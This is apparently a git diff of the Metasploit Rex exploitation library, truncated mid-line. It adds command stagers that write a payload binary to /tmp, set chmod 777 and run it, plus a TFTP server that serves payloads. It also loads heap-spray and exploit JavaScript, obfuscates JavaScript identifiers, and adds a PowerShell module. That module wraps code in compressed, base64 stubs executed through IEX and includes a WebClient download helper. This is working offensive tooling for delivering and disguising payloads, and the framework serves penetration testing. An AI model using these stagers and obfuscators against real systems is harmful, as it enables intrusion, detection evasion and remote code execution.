LEV_3 = 3 # # Architecture constants # -ARCH_ANY = '_any_' -ARCH_X86 = 'x86' -ARCH_X86_64 = 'x86_64' -ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 -ARCH_MIPS = 'mips' -ARCH_MIPSLE = 'mipsle' -ARCH_MIPSBE = 'mipsbe' -ARCH_PPC = 'ppc' -ARCH_PPC64 = 'ppc64' -ARCH_CBEA = 'cbea' -ARCH_CBEA64 = 'cbea64' -ARCH_SPARC = 'sparc' -ARCH_CMD = 'cmd' -ARCH_PHP = 'php' -ARCH_TTY = 'tty' -ARCH_ARMLE = 'armle' -ARCH_ARMBE = 'armbe' -ARCH_JAVA = 'java' -ARCH_RUBY = 'ruby' -ARCH_DALVIK = 'dalvik' -ARCH_PYTHON = 'python' -ARCH_NODEJS = 'nodejs' -ARCH_TYPES = +ARCH_ANY = '_any_' +ARCH_X86 = 'x86' +ARCH_X86_64 = 'x86_64' +ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 +ARCH_MIPS = 'mips' +ARCH_MIPSLE = 'mipsle' +ARCH_MIPSBE = 'mipsbe' +ARCH_PPC = 'ppc' +ARCH_PPC64 = 'ppc64' +ARCH_CBEA = 'cbea' +ARCH_CBEA64 = 'cbea64' +ARCH_SPARC = 'sparc' +ARCH_CMD = 'cmd' +ARCH_PHP = 'php' +ARCH_TTY = 'tty' +ARCH_ARMLE = 'armle' +ARCH_ARMBE = 'armbe' +ARCH_JAVA = 'java' +ARCH_RUBY = 'ruby' +ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' +ARCH_NODEJS = 'nodejs' +ARCH_FIREFOX = 'firefox' +ARCH_TYPES = [ ARCH_X86, ARCH_X86_64, @@ -107,7 +108,8 @@ ARCH_TYPES = ARCH_RUBY, ARCH_DALVIK, ARCH_PYTHON, - ARCH_NODEJS + ARCH_NODEJS, + ARCH_FIREFOX ] ARCH_ALL = ARCH_TYPES diff --git a/lib/rex/elfscan/scanner.rb b/lib/rex/elfscan/scanner.rb index 6bba493bb8..1bd5427bff 100644 --- a/lib/rex/elfscan/scanner.rb +++ b/lib/rex/elfscan/scanner.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'metasm' module Rex module ElfScan @@ -27,6 +28,26 @@ class Generic rva = hit[0] message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1] $stdout.puts elf.ptr_s(rva) + " " + message + if(param['disasm']) + message.gsub!("; ", "\n") + if message.include?("retn") + message.gsub!("retn", "ret") + end + + begin + d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble + rescue Metasm::ParseError + d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*')) + end + + addr = 0 + while ((di = d2.disassemble_instruction(addr))) + disasm = "0x%08x\t" % (rva + addr) + disasm << di.instruction.to_s + $stdout.puts disasm + addr = di.next_addr + end + end end end @@ -203,4 +224,3 @@ end end end end - diff --git a/lib/rex/encoder/bloxor/bloxor.rb b/lib/rex/encoder/bloxor/bloxor.rb index 26c801d665..c16db29338 100644 --- a/lib/rex/encoder/bloxor/bloxor.rb +++ b/lib/rex/encoder/bloxor/bloxor.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/poly/machine' diff --git a/lib/rex/encoder/ndr.rb b/lib/rex/encoder/ndr.rb index b1bfb2c5da..7ccd7d75d1 100644 --- a/lib/rex/encoder/ndr.rb +++ b/lib/rex/encoder/ndr.rb @@ -28,7 +28,7 @@ module NDR # use to encode: # byte element_1; def NDR.byte(string) - return [string].pack('c') + return [string].pack('C') end # Encode a byte array diff --git a/lib/rex/encoding/xor/generic.rb b/lib/rex/encoding/xor/generic.rb index 311dd40008..5e9dc831af 100644 --- a/lib/rex/encoding/xor/generic.rb +++ b/lib/rex/encoding/xor/generic.rb @@ -36,7 +36,7 @@ class Generic return _find_good_key(data, _find_bad_keys(data, badchars), badchars) end - # !!! xxx MAKE THESE BITCHE PRIVATE + # !!! xxx MAKE THESE PRIVATE # # Find a list of bytes that can't be valid xor keys, from the data and badchars. diff --git a/lib/rex/exploitation/cmdstager/base.rb b/lib/rex/exploitation/cmdstager/base.rb index 713be53a3f..0e966113ad 100644 --- a/lib/rex/exploitation/cmdstager/base.rb +++ b/lib/rex/exploitation/cmdstager/base.rb @@ -127,11 +127,12 @@ class CmdStagerBase def compress_commands(cmds, opts) new_cmds = [] line = '' - concat = cmd_concat_operator + + concat = opts[:concat_operator] || cmd_concat_operator # We cannot compress commands if there is no way to combine commands on # a single line. - return cmds if not concat + return cmds unless concat cmds.each { |cmd| @@ -171,6 +172,19 @@ class CmdStagerBase nil end + # Should be overriden if the cmd stager needs to setup anything + # before it's executed + def setup(mod = nil) + + end + + # + # Should be overriden if the cmd stager needs to do any clenaup + # + def teardown(mod = nil) + + end + end end end diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 8b1c5122a3..0891a4b625 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -10,6 +10,11 @@ module Exploitation class CmdStagerEcho < CmdStagerBase + ENCODINGS = { + 'hex' => "\\\\x", + 'octal' => "\\\\" + } + def initialize(exe) super @@ -18,12 +23,21 @@ class CmdStagerEcho < CmdStagerBase # # Override to ensure opts[:temp] is a correct *nix path + # and initialize opts[:enc_format]. # def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' opts[:temp].gsub!(/\\/, "/") opts[:temp] = opts[:temp].shellescape opts[:temp] << '/' if opts[:temp][-1,1] != '/' + + # by default use the 'hex' encoding + opts[:enc_format] = opts[:enc_format] || 'hex' + + unless ENCODINGS.keys.include?(opts[:enc_format]) + raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}" + end + super end @@ -32,20 +46,39 @@ class CmdStagerEcho < CmdStagerBase # def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo -en " + @cmd_start = "echo " + unless opts[:noargs] + @cmd_start += "-en " + end + @cmd_end = ">>#{@tempdir}#{@var_elf}" - xtra_len = @cmd_start.length + @cmd_end.length + 1 + xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) + + @prefix = ENCODINGS[opts[:enc_format]] + min_part_size = 5 # for both encodings + + if (opts[:linemax] - opts[:extra]) < min_part_size + raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" + end + super end # - # Encode into a "\\x55\\xAA" hex format that echo understands, where - # interpretation of backslash escapes are enabled + # Encode into a format that echo understands, where + # interpretation of backslash escapes are enabled. For + # hex, it'll look like "\\x41\\x42", and octal will be + # "\\101\\102\\5\\41" # def encode_payload(opts) - return Rex::Text.to_hex(@exe, "\\\\x") + case opts[:enc_format] + when 'octal' + return Rex::Text.to_octal(@exe, @prefix) + else + return Rex::Text.to_hex(@exe, @prefix) + end end @@ -70,7 +103,8 @@ class CmdStagerEcho < CmdStagerBase def generate_cmds_decoder(opts) cmds = [] # Make it all happen - cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "chmod 777 #{@tempdir}#{@var_elf}" + #cmds << "chmod +x #{@tempdir}#{@var_elf}" cmds << "#{@tempdir}#{@var_elf}" # Clean up after unless requested not to.. @@ -93,10 +127,8 @@ class CmdStagerEcho < CmdStagerBase while (encoded_dup.length > 0) temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # cut the end of the part until we reach the start - # of a full byte representation "\\xYZ" - while (temp.length > 0 && temp[-5, 3] != "\\\\x") - temp.chop! - end + # of a full byte representation "\\xYZ" or "\\YZX" + temp = fix_last_byte(temp, opts, encoded_dup) parts << temp encoded_dup.slice!(0, temp.length) end @@ -104,6 +136,25 @@ class CmdStagerEcho < CmdStagerBase parts end + def fix_last_byte(part, opts, remaining="") + fixed_part = part.dup + + case opts[:enc_format] + when 'hex' + while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix) + fixed_part.chop! + end + when 'octal' + if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix + pos = fixed_part.rindex('\\') + pos -= 1 if fixed_part[pos-1] == '\\' + fixed_part.slice!(pos..fixed_part.length-1) + end + end + + return fixed_part + end + def cmd_concat_operator " ; " end diff --git a/lib/rex/exploitation/cmdstager/tftp.rb b/lib/rex/exploitation/cmdstager/tftp.rb index 60240d638e..6fbb84829c 100644 --- a/lib/rex/exploitation/cmdstager/tftp.rb +++ b/lib/rex/exploitation/cmdstager/tftp.rb @@ -27,10 +27,19 @@ class CmdStagerTFTP < CmdStagerBase def initialize(exe) super - @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe" end + def setup(mod) + tftp = Rex::Proto::TFTP::Server.new + tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe) + tftp.start + mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo + end + + def teardown(mod = nil) + tftp.stop + end # # We override compress commands just to stick in a few extra commands @@ -54,8 +63,9 @@ class CmdStagerTFTP < CmdStagerBase # NOTE: We don't use a concatenation operator here since we only have a couple commands. # There really isn't any need to combine them. Also, the ms01_026 exploit depends on # the start command being issued separately so that it can ignore it :) - + attr_reader :exe attr_reader :payload_exe + attr_accessor :tftp end end end diff --git a/lib/rex/exploitation/heaplib.rb b/lib/rex/exploitation/heaplib.rb index 4e84cd5deb..c1d1a222a4 100644 --- a/lib/rex/exploitation/heaplib.rb +++ b/lib/rex/exploitation/heaplib.rb @@ -88,8 +88,10 @@ protected if opts[:newobfu] # Obfuscate the javascript using the new lexer method - @js = JSObfu.new(@js) - return @js.obfuscate + js_obfu = JSObfu.new(@js) + js_obfu.obfuscate + @js = js_obfu.to_s + return @js elsif opts[:noobfu] # Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation) return @js diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb index 2d94e2ae5e..f8fb22c77e 100644 --- a/lib/rex/exploitation/js/memory.rb +++ b/lib/rex/exploitation/js/memory.rb @@ -24,6 +24,18 @@ class Memory }).obfuscate end + def self.heaplib2(custom_js='', opts={}) + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js")) + + unless custom_js.blank? + js << custom_js + end + + js = ::Rex::Exploitation::JSObfu.new js + js.obfuscate + return js + end + def self.property_spray js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js")) @@ -46,6 +58,23 @@ class Memory }).obfuscate end + def self.explib2 + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "lib", "explib2.js")) + + ::Rex::Exploitation::ObfuscateJS.obfuscate(js) + end + + def self.explib2_payload(payload="exec") + case payload + when "drop_exec" + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "drop_exec.js")) + else # "exec" + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "exec.js")) + end + + ::Rex::Exploitation::ObfuscateJS.obfuscate(js) + end + end end end diff --git a/lib/rex/exploitation/js/network.rb b/lib/rex/exploitation/js/network.rb index cb22211a1e..7869efbc4f 100644 --- a/lib/rex/exploitation/js/network.rb +++ b/lib/rex/exploitation/js/network.rb @@ -37,8 +37,8 @@ class Network # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true. # @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed. # defaults to true. - # @return [String] javascript code to perform a synchronous ajax request to the remote with - # the data specified + # @return [String] javascript code to perform a synchronous or asynchronous ajax request to + # the remote with the data specified. def self.ajax_post(opts={}) should_obfuscate = opts.fetch(:obfuscate, true) js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js")) @@ -47,7 +47,7 @@ class Network js = ::Rex::Exploitation::ObfuscateJS.new(js, { 'Symbols' => { - 'Variables' => %w{ xmlHttp } + 'Variables' => %w{ xmlHttp cb path data } } }).obfuscate end diff --git a/lib/rex/exploitation/jsobfu.rb b/lib/rex/exploitation/jsobfu.rb index 746206b455..c722e2749c 100644 --- a/lib/rex/exploitation/jsobfu.rb +++ b/lib/rex/exploitation/jsobfu.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/text' +require 'rex/random_identifier_generator' require 'rkelly' module Rex @@ -47,6 +48,15 @@ module Exploitation # class JSObfu + # these keywords should never be used as a random var name + # source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Reserved_Words + RESERVED_KEYWORDS = %w( + break case catch continue debugger default delete do else finally + for function if in instanceof new return switch this throw try + typeof var void while with class enum export extends import super + implements interface let package private protected public static yield + ) + # # Abstract Syntax Tree generated by RKelly::Parser#parse # @@ -60,6 +70,11 @@ class JSObfu @funcs = {} @vars = {} @debug = false + @rand_gen = Rex::RandomIdentifierGenerator.new( + :max_length => 15, + :first_char_set => Rex::Text::Alpha+"_$", + :char_set => Rex::Text::AlphaNumeric+"_$" + ) end # @@ -107,8 +122,23 @@ class JSObfu obfuscate_r(@ast) end + # @return [String] a unique random var name that is not a reserved keyword + def random_var_name + loop do + text = random_string + unless @vars.has_value?(text) or RESERVED_KEYWORDS.include?(text) + return text + end + end + end + protected + # @return [String] a random string + def random_string + @rand_gen.generate + end + # # Recursive method to obfuscate the given +ast+. # @@ -146,20 +176,18 @@ protected end } n << '"' - node.name = n + node.instance_variable_set(:@name, n) end # Variables when ::RKelly::Nodes::VarDeclNode if @vars[node.name].nil? - #@vars[node.name] = "var_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.name}" - @vars[node.name] = "#{Rex::Text.rand_text_alpha(3+rand(12))}" + @vars[node.name] = random_var_name end node.name = @vars[node.name] when ::RKelly::Nodes::ParameterNode if @vars[node.value].nil? - #@vars[node.value] = "param_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.value}" - @vars[node.value] = "#{Rex::Text.rand_text_alpha(3+rand(12))}" + @vars[node.value] = random_var_name end node.value = @vars[node.value] when ::RKelly::Nodes::ResolveNode @@ -181,8 +209,7 @@ protected # Functions can also act as objects, so store them in the vars # and the functions list so we can replace them in both places if @funcs[node.value].nil? and not @funcs.values.include?(node.value) - #@funcs[node.value] = "func_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.value}" - @funcs[node.value] = "#{Rex::Text.rand_text_alpha(3+rand(12))}" + @funcs[node.value] = random_var_name if @vars[node.value].nil? @vars[node.value] = @funcs[node.value] end diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb new file mode 100644 index 0000000000..bfc42e9001 --- /dev/null +++ b/lib/rex/exploitation/powershell.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +require 'rex/exploitation/powershell/output' +require 'rex/exploitation/powershell/parser' +require 'rex/exploitation/powershell/obfu' +require 'rex/exploitation/powershell/param' +require 'rex/exploitation/powershell/function' +require 'rex/exploitation/powershell/script' +require 'rex/exploitation/powershell/psh_methods' + +module Rex + module Exploitation + module Powershell + # + # Reads script into a PowershellScript + # + # @param script_path [String] Path to the Script File + # + # @return [Script] Powershell Script object + def self.read_script(script_path) + Rex::Exploitation::Powershell::Script.new(script_path) + end + + # + # Insert substitutions into the powershell script + # If script is a path to a file then read the file + # otherwise treat it as the contents of a file + # + # @param script [String] Script file or path to script + # @param subs [Array] Substitutions to insert + # + # @return [String] Modified script file + def self.make_subs(script, subs) + if ::File.file?(script) + script = ::File.read(script) + end + + subs.each do |set| + script.gsub!(set[0], set[1]) + end + + script + end + + # + # Return an array of substitutions for use in make_subs + # + # @param subs [String] A ; seperated list of substitutions + # + # @return [Array] An array of substitutions + def self.process_subs(subs) + return [] if subs.nil? or subs.empty? + new_subs = [] + subs.split(';').each do |set| + new_subs << set.split(',', 2) + end + + new_subs + end + end + end +end diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb new file mode 100644 index 0000000000..1792be96a6 --- /dev/null +++ b/lib/rex/exploitation/powershell/function.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +module Rex +module Exploitation +module Powershell + class Function + FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i) + PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im) + attr_accessor :code, :name, :params + + include Output + include Parser + include Obfu + + def initialize(name, code) + @name = name + @code = code + populate_params + end + + # + # To String + # + # @return [String] Powershell function + def to_s + "function #{name} #{code}" + end + + # + # Identify the parameters from the code and + # store as Param in @params + # + def populate_params + @params = [] + start = code.index(PARAMETER_REGEX) + return unless start + # Get start of our block + idx = scan_with_index('(', code[start..-1]).first.last + start + pclause = block_extract(idx) + + matches = pclause.scan(FUNCTION_REGEX) + + # Ignore assignment, create params with class and variable names + matches.each do |param| + klass = nil + name = nil + param.each do |value| + if value + if klass + name = value + @params << Param.new(klass, name) + break + else + klass = value + end + end + end + end + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/obfu.rb b/lib/rex/exploitation/powershell/obfu.rb new file mode 100644 index 0000000000..c459a3bfa7 --- /dev/null +++ b/lib/rex/exploitation/powershell/obfu.rb @@ -0,0 +1,98 @@ +# -*- coding: binary -*- + +require 'rex/text' + +module Rex +module Exploitation +module Powershell + module Obfu + MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m) + SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i) + WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/) + UNIX_EOL_REGEX = Regexp.new(/[\n]+/) + WHITESPACE_REGEX = Regexp.new(/\s+/) + EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/) + + # + # Remove comments + # + # @return [String] code without comments + def strip_comments + # Multi line + code.gsub!(MULTI_LINE_COMMENTS_REGEX, '') + # Single line + code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '') + + code + end + + # + # Remove empty lines + # + # @return [String] code without empty lines + def strip_empty_lines + # Windows EOL + code.gsub!(WINDOWS_EOL_REGEX, "\r\n") + # UNIX EOL + code.gsub!(UNIX_EOL_REGEX, "\n") + + code + end + + # + # Remove whitespace + # This can break some codes using inline .NET + # + # @return [String] code with whitespace stripped + def strip_whitespace + code.gsub!(WHITESPACE_REGEX, ' ') + + code + end + + # + # Identify variables and replace them + # + # @return [String] code with variable names replaced with unique values + def sub_vars + # Get list of variables, remove reserved + get_var_names.each do |var, _sub| + code.gsub!(var, "$#{@rig.init_var(var)}") + end + + code + end + + # + # Identify function names and replace them + # + # @return [String] code with function names replaced with unique + # values + def sub_funcs + # Find out function names, make map + get_func_names.each do |var, _sub| + code.gsub!(var, @rig.init_var(var)) + end + + code + end + + # + # Perform standard substitutions + # + # @return [String] code with standard substitution methods applied + def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars)) + # Save us the trouble of breaking injected .NET and such + subs.delete('strip_whitespace') unless get_string_literals.empty? + # Run selected modifiers + subs.each do |modifier| + send(modifier) + end + code.gsub!(EMPTY_LINE_REGEX, '') + + code + end + end # Obfu +end +end +end diff --git a/lib/rex/exploitation/powershell/output.rb b/lib/rex/exploitation/powershell/output.rb new file mode 100644 index 0000000000..ea42c1770b --- /dev/null +++ b/lib/rex/exploitation/powershell/output.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +require 'zlib' +require 'rex/text' + +module Rex +module Exploitation +module Powershell + module Output + # + # To String + # + # @return [String] Code + def to_s + code + end + + # + # Returns code size + # + # @return [Integer] Code size + def size + code.size + end + + # + # Return code with numbered lines + # + # @return [String] Powershell code with line numbers + def to_s_lineno + numbered = '' + code.split(/\r\n|\n/).each_with_index do |line, idx| + numbered << "#{idx}: #{line}" + end + + numbered + end + + # + # Return a zlib compressed powershell code wrapped in decode stub + # + # @param eof [String] End of file identifier to append to code + # + # @return [String] Zlib compressed powershell code wrapped in + # decompression stub + def deflate_code(eof = nil) + # Compress using the Deflate algorithm + compressed_stream = ::Zlib::Deflate.deflate(code, + ::Zlib::BEST_COMPRESSION) + + # Base64 encode the compressed file contents + encoded_stream = Rex::Text.encode_base64(compressed_stream) + + # Build the powershell expression + # Decode base64 encoded command and create a stream object + psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" + # Read & delete the first two bytes due to incompatibility with MS + psh_expression << '$s.ReadByte();' + psh_expression << '$s.ReadByte();' + # Uncompress and invoke the expression (execute) + psh_expression << 'IEX (New-Object IO.StreamReader(' + psh_expression << 'New-Object IO.Compression.DeflateStream(' + psh_expression << '$s,' + psh_expression << '[IO.Compression.CompressionMode]::Decompress)' + psh_expression << ')).ReadToEnd();' + + # If eof is set, add a marker to signify end of code output + # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end + psh_expression << "echo '#{eof}';" if eof + + @code = psh_expression + end + + # + # Return Base64 encoded powershell code + # + # @return [String] Base64 encoded powershell code + def encode_code + @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code)) + end + + # + # Return a gzip compressed powershell code wrapped in decoder stub + # + # @param eof [String] End of file identifier to append to code + # + # @return [String] Gzip compressed powershell code wrapped in + # decompression stub + def gzip_code(eof = nil) + # Compress using the Deflate algorithm + compressed_stream = Rex::Text.gzip(code) + + # Base64 encode the compressed file contents + encoded_stream = Rex::Text.encode_base64(compressed_stream) + + # Build the powershell expression + # Decode base64 encoded command and create a stream object + psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" + # Uncompress and invoke the expression (execute) + psh_expression << 'IEX (New-Object IO.StreamReader(' + psh_expression << 'New-Object IO.Compression.GzipStream(' + psh_expression << '$s,' + psh_expression << '[IO.Compression.CompressionMode]::Decompress)' + psh_expression << ')).ReadToEnd();' + + # If eof is set, add a marker to signify end of code output + # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end + psh_expression << "echo '#{eof}';" if eof + + @code = psh_expression + end + + # + # Compresses script contents with gzip (default) or deflate + # + # @param eof [String] End of file identifier to append to code + # @param gzip [Boolean] Whether to use gzip compression or deflate + # + # @return [String] Compressed code wrapped in decompression stub + def compress_code(eof = nil, gzip = true) + @code = gzip ? gzip_code(eof) : deflate_code(eof) + end + + # + # Reverse the compression process + # Try gzip, inflate if that fails + # + # @return [String] Decompressed powershell code + def decompress_code + # Extract substring with payload + encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first + # Decode and decompress the string + unencoded = Rex::Text.decode_base64(encoded_stream) + begin + @code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded) + rescue Zlib::GzipFile::Error + begin + @code = Rex::Text.zlib_inflate(unencoded) + rescue Zlib::DataError => e + raise RuntimeError, 'Invalid compression' + end + end + + @code + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/param.rb b/lib/rex/exploitation/powershell/param.rb new file mode 100644 index 0000000000..96a4e54480 --- /dev/null +++ b/lib/rex/exploitation/powershell/param.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +module Rex +module Exploitation +module Powershell + class Param + attr_accessor :klass, :name + def initialize(klass, name) + @klass = klass.strip + @name = name.strip.gsub(/\s|,/, '') + end + + # + # To String + # + # @return [String] Powershell param + def to_s + "[#{klass}]$#{name}" + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/parser.rb b/lib/rex/exploitation/powershell/parser.rb new file mode 100644 index 0000000000..9304403f47 --- /dev/null +++ b/lib/rex/exploitation/powershell/parser.rb @@ -0,0 +1,183 @@ +# -*- coding: binary -*- + +module Rex + module Exploitation + module Powershell + module Parser + # Reserved special variables + # Acquired with: Get-Variable | Format-Table name, value -auto + RESERVED_VARIABLE_NAMES = [ + '$$', + '$?', + '$^', + '$_', + '$args', + '$ConfirmPreference', + '$ConsoleFileName', + '$DebugPreference', + '$Env', + '$Error', + '$ErrorActionPreference', + '$ErrorView', + '$ExecutionContext', + '$false', + '$FormatEnumerationLimit', + '$HOME', + '$Host', + '$input', + '$LASTEXITCODE', + '$MaximumAliasCount', + '$MaximumDriveCount', + '$MaximumErrorCount', + '$MaximumFunctionCount', + '$MaximumHistoryCount', + '$MaximumVariableCount', + '$MyInvocation', + '$NestedPromptLevel', + '$null', + '$OutputEncoding', + '$PID', + '$PROFILE', + '$ProgressPreference', + '$PSBoundParameters', + '$PSCulture', + '$PSEmailServer', + '$PSHOME', + '$PSSessionApplicationName', + '$PSSessionConfigurationName', + '$PSSessionOption', + '$PSUICulture', + '$PSVersionTable', + '$PWD', + '$ReportErrorShowExceptionClass', + '$ReportErrorShowInnerException', + '$ReportErrorShowSource', + '$ReportErrorShowStackTrace', + '$ShellId', + '$StackTrace', + '$true', + '$VerbosePreference', + '$WarningPreference', + '$WhatIfPreference' + ].map(&:downcase).freeze + + # + # Get variable names from code, removes reserved names from return + # + # @return [Array] variable names + def get_var_names + our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip) + our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) } + end + + # + # Get function names from code + # + # @return [Array] function names + def get_func_names + code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten + end + + # + # Attempt to find string literals in PSH expression + # + # @return [Array] string literals + def get_string_literals + code.scan(/@"(.+?)"@|@'(.+?)'@/m) + end + + # + # Scan code and return matches with index + # + # @param str [String] string to match in code + # @param source [String] source code to match, defaults to @code + # + # @return [Array[String,Integer]] matched items with index + def scan_with_index(str, source = code) + ::Enumerator.new do |y| + source.scan(str) do + y << ::Regexp.last_match + end + end.map { |m| [m.to_s, m.offset(0)[0]] } + end + + # + # Return matching bracket type + # + # @param char [String] opening bracket character + # + # @return [String] matching closing bracket + def match_start(char) + case char + when '{' + '}' + when '(' + ')' + when '[' + ']' + when '<' + '>' + else + fail ArgumentError, 'Unknown starting bracket' + end + end + + # + # Extract block of code inside brackets/parenthesis + # + # Attempts to match the bracket at idx, handling nesting manually + # Once the balanced matching bracket is found, all script content + # between idx and the index of the matching bracket is returned + # + # @param idx [Integer] index of opening bracket + # + # @return [String] content between matching brackets + def block_extract(idx) + fail ArgumentError unless idx + + if idx < 0 || idx >= code.length + fail ArgumentError, 'Invalid index' + end + + start = code[idx] + stop = match_start(start) + delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1]) + delims.map { |x| x[1] = x[1] + idx + 1 } + c = 1 + sidx = nil + # Go through delims till we balance, get idx + while (c != 0) && (x = delims.shift) + sidx = x[1] + x[0] == stop ? c -= 1 : c += 1 + end + + code[idx..sidx] + end + + # + # Extract a block of function code + # + # @param func_name [String] function name + # @param delete [Boolean] delete the function from the code + # + # @return [String] function block + def get_func(func_name, delete = false) + start = code.index(func_name) + + return nil unless start + + idx = code[start..-1].index('{') + start + func_txt = block_extract(idx) + + if delete + delete_code = code[0..idx] + delete_code << code[(idx + func_txt.length)..-1] + @code = delete_code + end + + Function.new(func_name, func_txt) + end + end # Parser + end + end +end diff --git a/lib/rex/exploitation/powershell/psh_methods.rb b/lib/rex/exploitation/powershell/psh_methods.rb new file mode 100644 index 0000000000..d53fde9d48 --- /dev/null +++ b/lib/rex/exploitation/powershell/psh_methods.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +module Rex +module Exploitation +module Powershell + ## + # Convenience methods for generating powershell code in Ruby + ## + + module PshMethods + # + # Download file via .NET WebClient + # + # @param src [String] URL to the file + # @param target [String] Location to save the file + # + # @return [String] Powershell code to download a file + def self.download(src, target) + target ||= '$pwd\\' << src.split('/').last + %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^ + end + + # + # Uninstall app, or anything named like app + # + # @param app [String] Name of application + # @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to + # the application name + # + # @return [String] Powershell code to uninstall an application + def self.uninstall(app, fuzzy = true) + match = fuzzy ? '-like' : '-eq' + %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ + end + + # + # Create secure string from plaintext + # + # @param str [String] String to create as a SecureString + # + # @return [String] Powershell code to create a SecureString + def self.secure_string(str) + %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$) + end + + # + # Find PID of file lock owner + # + # @param filename [String] Filename + # + # @return [String] Powershell code to identify the PID of a file + # lock owner + def self.who_locked_file(filename) + %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ + end + + # + # Return last time of login + # + # @param user [String] Username + # + # @return [String] Powershell code to return the last time of a user + # login + def self.get_last_login(user) + %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/script.rb b/lib/rex/exploitation/powershell/script.rb new file mode 100644 index 0000000000..d793553cfb --- /dev/null +++ b/lib/rex/exploitation/powershell/script.rb @@ -0,0 +1,99 @@ +# -*- coding: binary -*- + +require 'rex' +require 'forwardable' + +module Rex +module Exploitation +module Powershell + class Script + attr_accessor :code + attr_reader :functions, :rig + + include Output + include Parser + include Obfu + # Pretend we are actually a string + extend ::Forwardable + # In case someone messes with String we delegate based on its instance methods + # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| + def_delegators :@code, :each_line, :strip, :chars, 